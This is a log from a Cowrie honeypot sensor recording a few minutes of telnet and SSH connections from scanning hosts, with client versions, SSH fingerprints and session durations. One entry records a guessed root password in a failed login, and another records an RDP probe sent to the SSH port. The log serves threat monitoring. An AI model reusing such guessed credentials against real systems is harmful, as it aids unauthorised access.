{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:46.279875Z","src_ip":"88.205.172.170","session":"5252f54f0856","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39300,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf810be84577","protocol":"telnet","message":"New connection: 104.245.105.2:39300 (10.17.0.5:23) [session: bf810be84577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:46.395873Z"}
{"eventid":"cowrie.session.closed","duration":31.057390689849854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:47.613371Z","src_ip":"104.245.105.2","session":"18b66d23bd47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.887227058410645,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:54.058523Z","src_ip":"104.245.105.2","session":"340949cb40b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47370,"dst_ip":"10.17.0.5","dst_port":23,"session":"cabeed41ded6","protocol":"telnet","message":"New connection: 104.245.105.2:47370 (10.17.0.5:23) [session: cabeed41ded6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:20:55.549445Z"}
{"eventid":"cowrie.session.closed","duration":30.703347206115723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:21:03.330324Z","src_ip":"144.91.126.134","session":"f4ab3ca92dd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.186.248.74","src_port":53507,"dst_ip":"159.203.135.109","dst_port":23,"session":"a20108747c4a","protocol":"telnet","message":"New connection: 91.186.248.74:53507 (159.203.135.109:23) [session: a20108747c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:21:26.078765Z"}
{"eventid":"cowrie.session.closed","duration":31.67137384414673,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:21:27.220690Z","src_ip":"104.245.105.2","session":"cabeed41ded6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.040024280548096,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:21:34.435809Z","src_ip":"104.245.105.2","session":"bf810be84577","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.126.134","src_port":51170,"dst_ip":"10.17.0.5","dst_port":23,"session":"3564370f25fd","protocol":"telnet","message":"New connection: 144.91.126.134:51170 (10.17.0.5:23) [session: 3564370f25fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:21:34.969805Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50156,"dst_ip":"10.17.0.5","dst_port":23,"session":"08180f3cbfc7","protocol":"telnet","message":"New connection: 104.245.105.2:50156 (10.17.0.5:23) [session: 08180f3cbfc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:21:35.341887Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50164,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd4d7f2d552b","protocol":"telnet","message":"New connection: 104.245.105.2:50164 (10.17.0.5:23) [session: bd4d7f2d552b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:21:35.438545Z"}
{"eventid":"cowrie.session.closed","duration":31.119518041610718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:22:06.557965Z","src_ip":"104.245.105.2","session":"bd4d7f2d552b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.89973759651184,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:22:06.869416Z","src_ip":"144.91.126.134","session":"3564370f25fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.126.134","src_port":46190,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc6b384761ac","protocol":"telnet","message":"New connection: 144.91.126.134:46190 (10.17.0.5:23) [session: fc6b384761ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:22:07.601843Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":59414,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a67cac6ee57","protocol":"ssh","message":"New connection: 194.59.206.2:59414 (159.203.135.109:22) [session: 0a67cac6ee57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:22:09.341914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:22:09.360405Z","src_ip":"194.59.206.2","session":"0a67cac6ee57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:22:09.433253Z","src_ip":"194.59.206.2","session":"0a67cac6ee57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:22:09.610312Z","src_ip":"194.59.206.2","session":"0a67cac6ee57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.72500967979431,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:22:12.066755Z","src_ip":"104.245.105.2","session":"08180f3cbfc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.02790427207947,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:22:39.629613Z","src_ip":"144.91.126.134","session":"fc6b384761ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39530,"dst_ip":"10.17.0.5","dst_port":23,"session":"a19c61c886a6","protocol":"telnet","message":"New connection: 104.245.105.2:39530 (10.17.0.5:23) [session: a19c61c886a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:22:39.673940Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.126.134","src_port":32966,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa254f85244c","protocol":"telnet","message":"New connection: 144.91.126.134:32966 (10.17.0.5:23) [session: aa254f85244c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:23:02.708755Z"}
{"eventid":"cowrie.session.closed","duration":35.75297546386719,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:23:15.426817Z","src_ip":"104.245.105.2","session":"a19c61c886a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43570,"dst_ip":"10.17.0.5","dst_port":23,"session":"8660a7f3f1d8","protocol":"telnet","message":"New connection: 104.245.105.2:43570 (10.17.0.5:23) [session: 8660a7f3f1d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:23:22.556449Z"}
{"eventid":"cowrie.session.closed","duration":120.0048508644104,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:23:26.083502Z","src_ip":"91.186.248.74","session":"a20108747c4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.126.134","src_port":46686,"dst_ip":"10.17.0.5","dst_port":23,"session":"12cff5cb79bd","protocol":"telnet","message":"New connection: 144.91.126.134:46686 (10.17.0.5:23) [session: 12cff5cb79bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:23:30.746752Z"}
{"eventid":"cowrie.session.closed","duration":30.96842312812805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:23:33.677054Z","src_ip":"144.91.126.134","session":"aa254f85244c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51356,"dst_ip":"10.17.0.5","dst_port":23,"session":"30bfcc1aaa46","protocol":"telnet","message":"New connection: 104.245.105.2:51356 (10.17.0.5:23) [session: 30bfcc1aaa46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:23:34.964735Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":58226,"dst_ip":"159.203.135.109","dst_port":22,"session":"63b1ac692496","protocol":"ssh","message":"New connection: 103.149.252.223:58226 (159.203.135.109:22) [session: 63b1ac692496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:23:52.807317Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:23:52.812582Z","src_ip":"103.149.252.223","session":"63b1ac692496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:23:52.816282Z","src_ip":"103.149.252.223","session":"63b1ac692496","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.63774824142456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:23:53.194100Z","src_ip":"104.245.105.2","session":"8660a7f3f1d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":54410,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7dbf16fbd18","protocol":"telnet","message":"New connection: 64.41.88.162:54410 (159.203.135.109:23) [session: d7dbf16fbd18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:23:56.006634Z"}
{"eventid":"cowrie.session.closed","duration":31.7808997631073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:24:02.527558Z","src_ip":"144.91.126.134","session":"12cff5cb79bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":58336,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfc6d661f18d","protocol":"telnet","message":"New connection: 64.41.88.162:58336 (159.203.135.109:23) [session: cfc6d661f18d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:24:03.782464Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43124,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a728006be72","protocol":"telnet","message":"New connection: 104.245.105.2:43124 (10.17.0.5:23) [session: 8a728006be72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:24:05.153021Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":59814,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0385d50bd42","protocol":"telnet","message":"New connection: 64.41.88.162:59814 (159.203.135.109:23) [session: b0385d50bd42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:24:06.044635Z"}
{"eventid":"cowrie.session.closed","duration":35.56831336021423,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:24:10.532945Z","src_ip":"104.245.105.2","session":"30bfcc1aaa46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":38358,"dst_ip":"159.203.135.109","dst_port":23,"session":"1697cce1c336","protocol":"telnet","message":"New connection: 64.41.88.162:38358 (159.203.135.109:23) [session: 1697cce1c336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:24:14.341081Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":38542,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce9b5bb888f7","protocol":"telnet","message":"New connection: 64.41.88.162:38542 (159.203.135.109:23) [session: ce9b5bb888f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:24:14.528001Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":41828,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d205ad7fbf8","protocol":"ssh","message":"New connection: 88.205.172.170:41828 (10.17.0.5:22) [session: 3d205ad7fbf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:24:15.238169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:24:15.243774Z","src_ip":"88.205.172.170","session":"3d205ad7fbf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:24:15.409790Z","src_ip":"88.205.172.170","session":"3d205ad7fbf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql2019","message":"login attempt [root/mysql2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:24:16.105041Z","src_ip":"88.205.172.170","session":"3d205ad7fbf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:24:17.273729Z","src_ip":"88.205.172.170","session":"3d205ad7fbf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.126.134","src_port":39932,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa15f2a7f72c","protocol":"telnet","message":"New connection: 144.91.126.134:39932 (10.17.0.5:23) [session: fa15f2a7f72c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:24:22.514017Z"}
{"eventid":"cowrie.session.closed","duration":34.94815993309021,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:24:30.954687Z","src_ip":"64.41.88.162","session":"d7dbf16fbd18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":34466,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8f9e7486d06","protocol":"telnet","message":"New connection: 64.41.88.162:34466 (159.203.135.109:23) [session: d8f9e7486d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:24:34.050377Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38310,"dst_ip":"10.17.0.5","dst_port":23,"session":"d61cc02b6937","protocol":"telnet","message":"New connection: 104.245.105.2:38310 (10.17.0.5:23) [session: d61cc02b6937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:24:34.868132Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":37416,"dst_ip":"159.203.135.109","dst_port":23,"session":"af8215f9f87e","protocol":"telnet","message":"New connection: 64.41.88.162:37416 (159.203.135.109:23) [session: af8215f9f87e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:24:35.970865Z"}
{"eventid":"cowrie.session.closed","duration":31.479727745056152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:24:36.632633Z","src_ip":"104.245.105.2","session":"8a728006be72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":38890,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f7511f20841","protocol":"telnet","message":"New connection: 64.41.88.162:38890 (159.203.135.109:23) [session: 9f7511f20841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:24:36.752454Z"}
{"eventid":"cowrie.session.closed","duration":36.193488121032715,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:24:39.975835Z","src_ip":"64.41.88.162","session":"cfc6d661f18d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":45054,"dst_ip":"159.203.135.109","dst_port":23,"session":"48e91d4132c1","protocol":"telnet","message":"New connection: 64.41.88.162:45054 (159.203.135.109:23) [session: 48e91d4132c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:24:40.185274Z"}
{"eventid":"cowrie.session.closed","duration":35.51202726364136,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:24:41.556551Z","src_ip":"64.41.88.162","session":"b0385d50bd42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92355513572693,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:24:53.437460Z","src_ip":"144.91.126.134","session":"fa15f2a7f72c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96090078353882,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:25:05.828904Z","src_ip":"104.245.105.2","session":"d61cc02b6937","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":64.80017685890198,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:25:38.850416Z","src_ip":"64.41.88.162","session":"d8f9e7486d06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":64.92112255096436,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:25:41.673442Z","src_ip":"64.41.88.162","session":"9f7511f20841","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":67.8442747592926,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:25:48.029422Z","src_ip":"64.41.88.162","session":"48e91d4132c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":93.69729399681091,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:25:48.225168Z","src_ip":"64.41.88.162","session":"ce9b5bb888f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":94.53363990783691,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:25:48.874614Z","src_ip":"64.41.88.162","session":"1697cce1c336","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.126.134","src_port":42818,"dst_ip":"10.17.0.5","dst_port":23,"session":"9813a727108a","protocol":"telnet","message":"New connection: 144.91.126.134:42818 (10.17.0.5:23) [session: 9813a727108a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:26:02.470336Z"}
{"eventid":"cowrie.session.closed","duration":0.005715370178222656,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:26:02.475931Z","src_ip":"144.91.126.134","session":"9813a727108a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":93.62277460098267,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:26:09.593447Z","src_ip":"64.41.88.162","session":"af8215f9f87e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38594,"dst_ip":"10.17.0.5","dst_port":23,"session":"a316bae320d1","protocol":"telnet","message":"New connection: 104.245.105.2:38594 (10.17.0.5:23) [session: a316bae320d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:26:09.800945Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.57.229.52","src_port":4789,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c0b34201b61","protocol":"telnet","message":"New connection: 210.57.229.52:4789 (10.17.0.5:23) [session: 2c0b34201b61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:26:21.645369Z"}
{"eventid":"cowrie.session.closed","duration":13.72237491607666,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:26:35.367661Z","src_ip":"210.57.229.52","session":"2c0b34201b61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.059017419815063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:26:40.859814Z","src_ip":"104.245.105.2","session":"a316bae320d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":40050,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc5199a7576e","protocol":"telnet","message":"New connection: 64.41.88.162:40050 (159.203.135.109:23) [session: fc5199a7576e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:26:48.365432Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":41404,"dst_ip":"159.203.135.109","dst_port":23,"session":"5769ab0ab498","protocol":"telnet","message":"New connection: 64.41.88.162:41404 (159.203.135.109:23) [session: 5769ab0ab498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:26:50.070035Z"}
